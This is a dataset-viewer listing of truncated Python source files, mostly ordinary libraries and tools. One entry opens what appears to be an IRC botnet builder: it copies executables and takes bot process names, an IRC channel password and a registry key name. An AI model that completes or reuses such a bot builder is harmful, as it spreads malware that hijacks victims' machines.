text stringlengths 12 6.59M |
|---|
# -*- coding: utf-8 -*-
import argparse
import cv2
import os
import numpy as np
import sys
class InfiniteCounter(object):
"""
InfiniteCounter is a class that represents a counter that will
return the next number indefinitely. When the user calls count()
return the current number. Then it will increme... |
# -*- coding: utf-8 -*-
# version.py
# Part of ‘python-daemon’, an implementation of PEP 3143.
#
# Copyright © 2008–2015 Ben Finney <ben+python@benfinney.id.au>
#
# This is free software: you may copy, modify, and/or distribute this work
# under the terms of the GNU General Public License as published by the
# Free So... |
#!/usr/bin/env python
#copyright ReportLab Inc. 2000-2001
#see license.txt for license details
#history http://cvs.sourceforge.net/cgi-bin/cvsweb.cgi/reportlab/lib/setup.py?cvsroot=reportlab
#$Header: /tmp/reportlab/reportlab/lib/setup.py,v 1.12 2002/05/26 09:30:32 dinu_gherman Exp $
if __name__=='__main__': #NO RUNTES... |
# -*- coding: utf-8 -*-
from cms.utils.django_load import load
from django.conf import settings
from django.contrib.sites.models import Site
from django.core.cache import cache
from django.utils.translation import get_language
from menus.exceptions import NamespaceAllreadyRegistered
from menus.models import CacheKey
im... |
# Copyright (C) 2009-2013 Wander Lairson Costa
#
# The following terms apply to all files associated
# with the software unless explicitly disclaimed in individual files.
#
# The authors hereby grant permission to use, copy, modify, distribute,
# and license this software and its documentation for any purpose, provided... |
import logging
import re
from Vintageous import local_logger
from Vintageous.vi import inputs
from Vintageous.vi import utils
from Vintageous.vi.cmd_defs import cmd_defs
from Vintageous.vi.cmd_defs import cmds
from Vintageous.vi.utils import input_types
from Vintageous.vi.utils import modes
_logger = local_logger(__... |
# This file is part of Indico.
# Copyright (C) 2002 - 2016 European Organization for Nuclear Research (CERN).
#
# Indico is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (a... |
# Copyright (c) 2016, Michal Szymaniak
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#
# * Redistributions of source code must retain the above copyright notice, this
# list of conditions an... |
import sys, random, string, os, urllib, time, base64, zlib
import base64
import hashlib
from Crypto import Random
from Crypto.Cipher import AES
os.chdir("\\python27\\scripts\\")
os.system("copy lel.exe chp.exe")
#print "python "+sys.argv[0]+" BotMainProcess.exe DaemonProcess.exe #IRCchannel ChannelPassword RegKeyName I... |
# This file is part of ELiDE, frontend to LiSE, a framework for life simulation games.
# Copyright (c) Zachary Spector, public@zacharyspector.com
"""Grid of current values for some entity. Can be changed by the
user. Autoupdates when there's a change for any reason.
"""
from functools import partial
from kivy.propert... |
# -*- coding: utf-8 -*-
# Copyright © 2017 Artyom Goncharov
#
# Permission is hereby granted, free of charge, to any person obtaining
# a copy of this software and associated documentation files (the "Software"),
# to deal in the Software without restriction, including without limitation
# the rights to use, copy, mod... |
"""
The ``agar.templatetags.webapp2`` module contains `django template tags`_.
"""
from django.template import Node, TemplateSyntaxError
from google.appengine.ext.webapp import template
# Get the template Library
register = template.create_template_register()
class URLNode(Node):
def __init__(self, route_name,... |
# -*- coding: utf-8 -*-
#
# Copyright © 2014 Kimmo Parviainen-Jalanko.
#
from enum import Enum
from functools import reduce
from hmac import HMAC
import logging
import operator
import os
from hashlib import sha256
from struct import Struct, pack, unpack
import binascii
import payloads
from util.dump import dump
from u... |
#!/usr/bin/python
"""
Diaphora, a diffing plugin for IDA
Copyright (c) 2015, Joxean Koret
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 2 of the License, or
(at your option) any lat... |
from __future__ import print_function
from __future__ import absolute_import
import requests
import json
class CoreNLPProvider(object):
def __init__(self, server_addr):
self.server_addr = server_addr
def pos_tag(self, text):
payload = {'text': text}
r = requests.post(self.server_addr, ... |
# --*- coding: utf-8 -*-
from PyQt4.QtGui import *
from PyQt4.QtCore import *
from collections import namedtuple
from common import *
import subprocess
import re
import bisect
LineItem = namedtuple("LineItem", ["type", "content"])
diff_re = re.compile(b"^diff --(git a/(.*) b/(.*)|cc (.*))")
diff_begin_re = re.com... |
import sys
import logging
import getpass
from optparse import OptionParser
from termcolor import colored, cprint
#from sleekxmpp.xmlstream.stanzabase import ET
import sleekxmpp
from sleekxmpp.xmlstream import ET, tostring
import sleekxmpp.plugins.xep_0060.stanza.pubsub as pubsub
# Python versions before 3.0 do not ... |
#!/usr/bin/env python
import csv
import logging
import os
import simplejson as json
import sys
import memcacheConstants
import pump
def number_try_parse(s):
for func in (int, float):
try:
v = func(s)
if s == str(v):
return v
except ValueError:
p... |
# vim: set ts=4 sw=4 et: -*- coding: utf-8 -*-
from __future__ import absolute_import
from __future__ import print_function
import re
import sys
import json
import requests
import argparse
import time
import codecs
from bs4 import BeautifulSoup
from six import u
__version__ = '1.0'
# if python 2, disable verify flag... |
#
# --- MIT Open Source License --------------------------------------------------
# PiB - Python Build System
# Copyright (C) 2011 by Don Williamson
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
... |
#!/usr/bin/python
# -*- coding: utf-8 -*-
from __future__ import print_function, division, unicode_literals, absolute_import
##/usr/bin/env python
##
## Author: Bertrand Lacoste
## Modified from daemon.runner and from watcher (https://github.com/splitbrain/Watcher, original work https://github.com/gregghz/Watcher)
#... |
from .mpu9250 import MPU9250
from .ms5611 import MS5611
|
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#=======================================================================
#
# aes.py
# ------
# Simple, pure Python model of the AES block cipher. The model is
# used as a reference for the HW implementation. The code follows
# the structure of the HW implementation as much... |
# hom2m.py: Simple Harmonic-Oscillator M2M implementation
import numpy
import copy
from scipy import interpolate, integrate
import tqdm
######################### COORDINATE TRANSFORMATIONS ##########################
def zvz_to_Aphi(z,vz,omega):
A= numpy.sqrt(z**2.+vz**2./omega**2.)
phi= numpy.arctan2(-vz/omega... |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#=======================================================================
#
# aes.py
# ------
# Simple, pure Python, word based model of the AES cipher with
# support for 128 and 256 bit keys.
#
#
# Author: Joachim Strömbergson
# Copyright (c) 2014, Secworks Sweden AB
# All... |
#
# INTEL CONFIDENTIAL
#
# Copyright 2013 Intel Corporation All Rights Reserved.
#
# The source code contained or described herein and all documents related
# to the source code ("Material") are owned by Intel Corporation or its
# suppliers or licensors. Title to the Material remains with Intel Corporation
# or its sup... |
import collections
from pprint import pprint
import sys
import warnings
from numba.core.errors import UnsupportedError
from numba.core.ir import Loc
class DataFlowAnalysis(object):
"""
Perform stack2reg
This is necessary to resolve blocks that propagates stack value.
This would allow the use of `and... |
from __future__ import division, absolute_import, print_function
from .info import __doc__
from numpy.version import version as __version__
import os
# on Windows NumPy loads an important OpenBLAS-related DLL
# and the code below aims to alleviate issues with DLL
# path resolution portability with an absolute path D... |
#setup.py
from distutils.spawn import find_executable
from setuptools import setup
from setuptools.extension import Extension
import codecs
import os.path
import sys
import subprocess # for git
import re
import numpy # numpy.get_include()
#
# POSSIBLE ENVIRONMENT VARIABLES WHICH CAN BE SET: -- doc printed on stan... |
#!/usr/bin/env python
# -*- coding:utf-8 -*-
'''
File: plugin_utils.py
Author: Ian W. Scott
Description: A collection of utility functions and classes for working on
web2py projects.
Many of these functions are meant to be called directly from elsewhere in an
app's business logic, providing he... |
import os
import argparse
import shlex
import subprocess
import shutil
import sys
# Sanity check to ensure that Python is present on the target system.
if shutil.which('ffmpeg') is None:
print('This program requires ffmpeg to operate')
sys.exit(1)
default_whitelist = ['.ts', '.mpg']
default_postfix = '_trimme... |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
Pyfiscan is free web-application vulnerability and version scanner and can be
used to locate out-dated versions of common web-applications in Linux-servers.
Example use case is hosting-providers keeping eye on their users installations
to keep up with security-updates.... |
"""Tool-specific initialization for Microsoft Visual C/C++.
This version is customized for numscons: it uses vcvarsall.bat instead of the
registry, to be simpler and more reliable.
"""
import os.path
import re
import string
import subprocess
import _winreg
import SCons.Action
import SCons.Builder
import SCons.Error... |
from ply import lex
import ply.yacc as yacc
import sys, getopt
import os
tokens = (
'CLAUSE',
'RELATION',
'PUNCT',
'SQUAREBR',
'SQUAREBL',
'ROUNDBR',
'ROUNDBL',
'EQUAL',
"CITE",
'CURLYBR',
'CURLYBL',
'ANGLEBR',
'ANGLEBL',
)
t_ignore = ' \t'
t... |
__author__ = 'silencedut'
#restful api
newsupdate='/api/v1.0/<string:type>/update'
newsloadmore='/api/v1.0/<string:type>/loadmore/<string:newsid>'
perstat='/api/v1.0/nbastat/perstat/<string:perstat>'
teamsort='/api/v1.0/teamsort/sort'
gamesdate='/api/v1.0/gamesdate/<string:date>' |
import datetime
import struct
CORRELATION_GMT = 584283
CORRELATION_TL = 584285
_MAXORDINAL = 57599999
_TZOLKINNAMES = (
None,
"Imix'",
"Ik'",
"Ak'b'al",
"K'an",
"Chikchan",
"Kimi",
"Manik'",
"Lamat",
"Muluk",
"Ok",
"Chuwen",
"Eb'",
"B'en",
"Ix",
"Men",... |
"""
A lightweight matrix object with support for basic linear algebra
operations.
Note that matrix indices are zero-based in accordance with programming
convention rather than one-based in typical math style, i.e. the top-left
element in a matrix is m[0][0] rather than m[1][1].
Caution: Beware of rounding errors with... |
# ----------------------------------------------------------------------
# Numenta Platform for Intelligent Computing (NuPIC)
# Copyright (C) 2013, Numenta, Inc. Unless you have an agreement
# with Numenta, Inc., for a separate license for this software code, the
# following terms and conditions apply:
#
# This progra... |
import math
import os
import subprocess
import sys
import cv
import cv2
import numpy as np
class Pypeline:
def __init__(self, raws=None, flats=None, biases=None, darks=None):
"""Create a new pypeline object."""
pass
def convert(self, directory=None):
"""Convert a list of raw files... |
"""
This module supports simple linear circuit analysis based on the
following ideal components:
V independent voltage source
I independent current source
R resistor
C capacitor
L inductor
These components are converted to s-domain models and so capacitor and
inductor components can be specified with initial voltage ... |
# Copyright (c) 2014 Evalf
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, s... |
#!/usr/bin/python
import os
import sys
import cgi
import time
import json
import random
import string
import Cookie
import urlparse
import datetime
sys.path.append((os.path.dirname(__file__) or ".") + "/../db")
sys.path.append((os.path.dirname(__file__) or ".") + "/../")
import config
import db
import aespckfile
r""... |
from compiler.ast import *
import sets
import AST
extract_vars_cache = {}
def extract_comps(expr):
"""
Extract all comparisons from the expression.
"""
comps_found = []
_extract_comps_ast(AST.strip_parse(expr), comps_found)
comps_found = [AST.ast2str(ast) for ast in comps_found]
return se... |
from django import forms
from selectable.forms import AutoCompleteWidget, AutoCompleteSelectField
from md import models as stops
from md.lookups import AgencyLookup
def addNoneOpt(choices):
opts = list(choices)
opts.insert(0, (None, "---"))
return opts
class SearchForm(forms.Form):
agency = forms.C... |
# -*- encoding: utf-8 -*-
###############################################################################
#
# sale_automatic_workflow for OpenERP
# Copyright (C) 2011 Akretion Sébastien BEAU <sebastien.beau@akretion.com>
# Author: Guewen Baconnier
# Copyright 2014 Camptocamp SA
#
# This program is free s... |
from flask import Blueprint, jsonify, request
from common.models import session, Client, ClientGroup, GroupAssignment, Plugin
api = Blueprint('api', __name__, url_prefix='/api')
@api.route("/get_clients/")
def get_clients():
clients = Client.query.all()
client_list = []
for client in clients:
cl... |
# -*- coding: utf-8 -*-
#
"""
I/O for Medit's format, cf.
<https://people.sc.fsu.edu/~jburkardt/data/medit/medit.html>.
Check out
<https://hal.inria.fr/inria-00069921/fr/>
<https://www.ljll.math.upmc.fr/frey/publications/RT-0253.pdf>
for something like a specification.
"""
import re
import logging
import numpy
from .m... |
# -*- encoding: utf-8 -*-
##############################################################################
# For copyright and license notices, see __openerp__.py file in root directory
##############################################################################
from openerp import models, fields, api, exceptions, _
... |
'''
In this module, we will generate a csv report for a given problem id, which
will include information about how students fared with a given problem id
'''
from itertools import groupby
from edx_data_research.reporting.edx_base import EdX
class ProblemId(EdX):
def __init__(self, args):
super(self.__c... |
#!/usr/bin/python
# -*- coding: utf-8 -*-
# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type
"""
(c) 2017, Milan Ilic <milani@nordeus.com>
This file is part of Ansible
Ansible is free software: you can redistribute it and/or modify
it under the ter... |
from django.core.management.base import BaseCommand
from salesforce.models import School
from salesforce.salesforce import Salesforce
class Command(BaseCommand):
help = "update schools from salesforce.com"
def handle(self, *args, **options):
with Salesforce() as sf:
query = "SELECT Name, ... |
"""
I/O for VTU.
<https://vtk.org/Wiki/VTK_XML_Formats>
<https://vtk.org/wp-content/uploads/2015/04/file-formats.pdf>
"""
import base64
import logging
import re
import sys
import zlib
import numpy as np
from ..__about__ import __version__
from .._common import (
_meshio_to_vtk_order,
_vtk_to_meshio_order,
... |
#!/usr/bin/python
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distribut... |
from django.db import models
class Matiere(models.Model):
LISTE_COULEURS=(
('#696969',"Gris mat"),('#808080',"Gris"),('#A9A9A9',"Gris foncé"),
('#C0C0C0',"Gris argent"),('#D3D3D3',"Gris clair"),('#DCDCDC',"Gris Gainsboro"),
('#FFC0CB',"Rose"),('#FFB6C1',"Rose clair"),('#FF69B4',"Rose passio... |
#!/usr/bin/env python2.5
#
# Copyright 2011 the Melange authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applic... |
#!/usr/bin/env python3
import os, argparse, warnings
from shutil import rmtree
from ftplib import FTP
from tempfile import mkdtemp
import pandas as pd
import matplotlib.pyplot as plt
from urllib.parse import urlsplit, urlunparse
def generate_bed_stats_from_index(index, exp_id, ftp_url, dir_prefix, work_dir):
#Get f... |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Copyright (c) 2013, Bruno Gonzalez <stenyak@stenyak.com>. This software is licensed under the Affero General Public License version 3 or later. See the LICENSE file.
import os, urllib, time
import json
from functools import wraps
from flask import request, g, session, ... |
import socket
import pysqlite
import urllib.request
from os import startfile
from winsound import Beep
from bs4 import BeautifulSoup
from purrtools import *
from cfg import *
HOST = 'irc.twitch.tv' # the Twitch IRC server
PORT = 6667 # always use port 6667!
DATA_BUFFER_SIZE = 1024
INITIAL_BUFFER_SIZE = 40... |
from threeML.io.file_utils import sanitize_filename, file_existing_and_readable
from threeML.config.config import threeML_config
from threeML.io.download_from_ftp import download_files_from_directory_ftp
import ftplib
import glob
import os
import numpy as np
from collections import OrderedDict
class InvalidTrigger(R... |
#!/usr/bin/python
# ##### BEGIN AGPL LICENSE BLOCK #####
# This file is part of SimpleMMO.
#
# Copyright (C) 2011, 2012 Charles Nelson
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as
# published by the Free Software Foundation, e... |
import json
import logging
import os
from datetime import timedelta
from functools import update_wrapper
from logging.handlers import TimedRotatingFileHandler
from subprocess import STDOUT, CalledProcessError, check_output
import git
import yaml
from celery import Celery
from flask import Flask, Response, current_app,... |
from urllib.parse import parse_qs
from japronto import Application
import redis
from config.bot_config import REDIS_DB, REDIS_HOST, REDIS_PORT, WEBHOOK_IP, WEBHOOK_PORT
class IceCast2Auth:
def __init__(self):
self.redis_ctx = redis.Redis(host=REDIS_HOST, port=REDIS_PORT, db=REDIS_DB)
def auth(self... |
#!/usr/bin/python
# -*- coding: utf-8 -*-
import os
import re
from HTMLParser import HTMLParseError
from time import time
from urlparse import urlparse
import requests
from bs4 import BeautifulSoup
from app import logger
from http_cache import http_get
from http_cache import is_response_too_large
from oa_local impor... |
#!/usr/bin/python
# -*- coding: utf-8 -*-
import os
import re
from HTMLParser import HTMLParseError
from time import time
from urlparse import urlparse
import requests
from bs4 import BeautifulSoup
from app import logger
from http_cache import http_get
from http_cache import is_response_too_large
from oa_local impor... |
import pkg_resources
from metanl.general import preprocess_text
from collections import defaultdict
import codecs
import math
import os
CACHE = {}
class Wordlist(object):
"""
A list mapping words to frequencies, loaded from a .txt file on disk, and
cached so that it's loaded at most once.
"""
def _... |
#!/usr/bin/python
# -*- coding: utf-8 -*-
import os
import re
from HTMLParser import HTMLParseError
from time import time
from urlparse import urlparse
import requests
from bs4 import BeautifulSoup
from app import logger
from http_cache import http_get
from http_cache import is_response_too_large
from oa_local impor... |
"""
metering.models
~~~~~~~~~
Define the meter data models
"""
import os
from datetime import datetime, timedelta
from typing import Tuple, List
from sqlalchemy import create_engine
from sqlalchemy import func
from sqlalchemy import Column, String, DateTime, Float, Integer
from sqlalchemy.ext.declarative i... |
# Begin configuration
TITLE = "ESP8266 WiFi Configurator"
GPIO_NUM = 2
# End configuration
import network
import machine
import usocket
from accessPoints import AccessPoints
accessPointsFile = 'accessPoints.json'
aPoints = AccessPoints(accessPointsFile)
from accessPoints import NetScan
netScan = NetScan()
# do a... |
#!/bin/env python3
import socket
import threading
import select
from ESocketS import connection
import errno
from queue import Queue
class Socket:
def __init__(self, port=1234, host=socket.gethostbyname(socket.gethostname()),
BUFFER_SIZE=2048,
QUEUE_SIZE=100,
SERVER_EPOLL_BL... |
#!/usr/bin/python2 -O
# -*- coding:utf-8 -*-
"""
Set of scripts to open a website in multiple browser and retrieve data
IDEA/TODO
- multiple browser support
- extract network artifact
- search VT + Google Safe Browsing
- extract JS and run JSBeautifuler
- browse list of web... |
#-------------------------------------------------------------------------------
# Name: sfp_malcheck
# Purpose: Checks if an ASN, IP or domain is malicious.
#
# Author: steve@binarypool.com
#
# Created: 14/12/2013
# Copyright: (c) Steve Micallef, 2013
# Licence: GPL
#-------------... |
# -*- coding: utf-8 -*-
# -------------------------------------------------------------------------------
# Name: sfp_sharedip
# Purpose: Searches Bing and/or Robtex.com for hosts sharing the same IP.
#
# Author: Steve Micallef <steve@binarypool.com>
#
# Created: 12/04/2014
# Copyright: ... |
from .helpers import (
now,
generate_id,
)
from .base import Mapping
from .helpers import parse_tender, get_tags_from_tender, get_ocid, get_tag
class Release(Mapping):
def __init__(self, ocid, tags, tag, date=None):
if not date:
date = now().isoformat()
super(Release, self).__... |
import re
import numpy as np
import pandas as pd
# --
# Keras extensions
import keras.backend as K
def triplet_cosine(y_true, y_pred, margin = 0.3):
posdist = 1 - K.sum(y_pred[0::3] * y_pred[1::3], axis = -1)
negdist = 1 - K.sum(y_pred[0::3] * y_pred[2::3], axis = -1)
loss = K.maximum(0, posdist - negd... |
# -*- coding: utf-8 -*-
# Copyright 2010 Mats Ekberg
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or... |
# Copyright 2014, 2015 The ODL development group
#
# This file is part of ODL.
#
# ODL is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
... |
#-*-coding: utf-8-*-
import json
import datetime
import base64
import urllib
import zlib
from tornado import escape
from tornado import gen
from tornado.httpclient import AsyncHTTPClient
#from tornado.options import parse_config_file
from tornado.options import options
from functools import wraps
import tornado.ioloop
... |
# -*- coding: utf-8 -*-
from decorator import decorator
import inspect
import logging
import sys
import time
import odoo
_logger = logging.getLogger(__name__)
class _LogTracer(object):
def __init__(self, whitelist=None, blacklist=None, files=None, deep=False):
self.profiles = {}
self.whitelist = ... |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from .views import Dashboard, CubeQuery, Connection, Cube, Element
INCLUDE_URLS = [
(r"/api/dashboard/", Dashboard),
(r"/api/dashboard/(?P<slug>[\w-]+)", Dashboard),
(r"/api/connection/", Connection),
(r"/api/connection/(?P<slug>[\w-]+)", Connection),
... |
# TODO
# create main list and turn in pandas dataframe
# export list into a csv
# to be continued in java
import requests
from bs4 import BeautifulSoup
# function to convert bs4 objects to strings
def bs4_to_str(bs4_object):
txt = unicode(bs4_object.find(text=True)).encode('ascii', 'ignore')
return txt
# main url
... |
from django.conf.urls import url
from api import actions
from api import views
pgsql_qualifier = r"[\w\d_]+"
equal_qualifier = r"[\w\d\s\'\=]"
structures = r'table|sequence'
urlpatterns = [
url(r'^v0/schema/(?P<schema>[\w\d_\s]+)/tables/(?P<table>[\w\d_\s]+)/$', views.Table.as_view()),
url(r'^v0/schema/(?P<sc... |
class PhotologueRouter(object):
"""
A router to control all database operations on models in the
photologue application.
"""
apps = ["photologue", "sites"]
using = "photos"
def db_for_read(self, model, **hints):
if model._meta.app_label in self.apps:
return self.usi... |
#!/usr/bin/env python
"""
Pull article from Wikipedia XML Dump (bz2) or part (gz)
INPUT
title article title
dump XML Dump bzip2 file
-index index bzip2 file (optional)
OUTPUT
article wikitext
See also
wp_parser
wp_index
"""
from __future__ import print_function
__author__ = "siznax"
_... |
from functools import partial
import pandas as pd
from onecodex.analyses import AnalysisMixin
class ClassificationsDataFrame(pd.DataFrame):
"""A subclassed `pandas.DataFrame` containing additional metadata pertinent to analysis of
One Codex Classifications results. These fields, once part of the DataFrame, w... |
# ##### BEGIN GPL LICENSE BLOCK #####
#
# JewelCraft jewelry design toolkit for Blender.
# Copyright (C) 2015-2020 Mikhail Rachinskiy
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, eith... |
import logging; _L = logging.getLogger('openaddr.ci.webapi')
import os, json, hmac, hashlib
from urllib.parse import urljoin, urlencode, urlunparse
from datetime import datetime, timedelta
from dateutil.tz import tzutc
from base64 import b64encode
from functools import wraps
from random import randint
from flask impo... |
import logging
import os
import re
import unicodecsv
import xlrd
from pymongo import errors
"""
Importing errors from pymongo allows us to except the specific pymongo
error which is raised when we try to perform an empty bulk insert.
We except the error because we provide our own, slightly more in-depth
error message... |
# -*- coding: utf-8 -*-
from datetime import datetime
from werkzeug.exceptions import NotFound, BadRequest
from flask import Flask, render_template
from user import need_uid
def set_loglevel(level):
handler = next(_ for _ in app.logger.handlers
if _.__class__.__name__.startswith('Production... |
# -*- coding: utf-8 -*-
__author__='Dan Tracy'
__email__='djt5019 at gmail dot com'
import os
from EpParser import __file__ as file_path
VIDEO_EXTENSIONS = {'.mkv', '.ogm', '.asf', '.asx', '.avi', '.flv', '.mov',
'.mp4', '.mpg', '.rm', '.swf', '.vob', '.wmv', '.mpeg'}
PROJECT_PATH = os.path.abs... |
"""Rovercode app."""
import websocket
import thread
import logging
import time
from flask import Flask, jsonify, request
from flask_cors import CORS
import requests, json, socket
from oauthlib.oauth2 import BackendApplicationClient
from requests_oauthlib import OAuth2Session
from dotenv import load_dotenv, find_dotenv
... |
# coding: utf-8
"""Parser for HTML fragments used on MDN.
This is designed to be a foundation for more specific tasks, such as
extracting compatibility data from MDN pages, or validating API data when
an HTML subset is allowed.
HTML is actually unparsable, according to smart people:
http://trevorjim.com/a-grammar-for... |
import os
import signal
import time
from PySide.QtCore import QObject
from PySide.QtCore import QProcess
from PySide.QtCore import QRect
from PySide.QtCore import QTimer
from PySide.QtCore import QUrl
from PySide.QtCore import Qt
from PySide.QtCore import SIGNAL
from PySide.QtCore import Signal
from PySide.QtCore impo... |
# coding: utf8
import re
import traceback
from bs4 import BeautifulSoup
from couchpotato.core.helpers.encoding import simplifyString, tryUrlencode
from couchpotato.core.helpers.variable import getImdb, tryInt
from couchpotato.core.logger import CPLog
from couchpotato.core.media._base.providers.torrent.base import Torr... |
from __future__ import print_function
import argparse
import functools
import logging
import operator
import os
import subprocess
from collections import OrderedDict
import boto
from z3.config import get_config
quiet = False
def cached(func):
@functools.wraps(func)
def cacheing_wrapper(self, *a, **kwa):
... |
#!/usr/bin/env python
from __future__ import with_statement
import os
import re
import sqlite3
import sys
from subprocess import Popen, PIPE
FORMAT = "%s:%b"
SYSTEMS = []
UNKNOWN = "(unknown)"
REGEX = "/%(b|s|r)/"
def vcs(function):
"""Simple decorator which adds the wrapped function to SYSTEMS variable"""
S... |
'''
Created on Jan 19, 2016
@author: tim
'''
import logging
class ImportFilterInterface(object):
'''
classdocs
'''
log = logging.getLogger() # logger for all import filters
def __init__(self):
'''
Constructor
'''
def cleanupMetaDataDict(self, mdRaw):
mdConv = dict()
#print(mdRaw)
for k, v in... |
#!/usr/bin/env python
from Bio import AlignIO
from Bio.Alphabet import IUPAC,Gapped
import sys
#This script takes a FASTA alignment and converts is to a
#nexus alignment
# check for correct arguments
if len(sys.argv) != 3:
print("Usage: FastaReverseComplement.py <inputfile> <outputfile>")
sys.exit(0)
input_... |
#!/usr/bin/python
# Cuckoo Sandbox - Automated Malware Analysis
# Copyright (C) 2010-2011 Claudio "nex" Guarnieri (nex@cuckoobox.org)
# http://www.cuckoobox.org
#
# This file is part of Cuckoo.
#
# Cuckoo is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as ... |
from io import BytesIO
from urllib import quote
import attributes
import collections
import csv
import inspect
import logging
import sys
import os
import errno
import common
logger = logging.getLogger(__name__)
class InvalidLocation(common.AppException): pass
def available():
return [i[0] for i in inspect.getmemb... |
#!python3
# License: Apache 2.0. See LICENSE file in root directory.
# Copyright(c) 2021 Intel Corporation. All Rights Reserved.
import sys, os, subprocess, locale, re, platform, getopt
from abc import ABC, abstractmethod
# Remove Python's default list of places to look for modules!
# We want only modules i... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.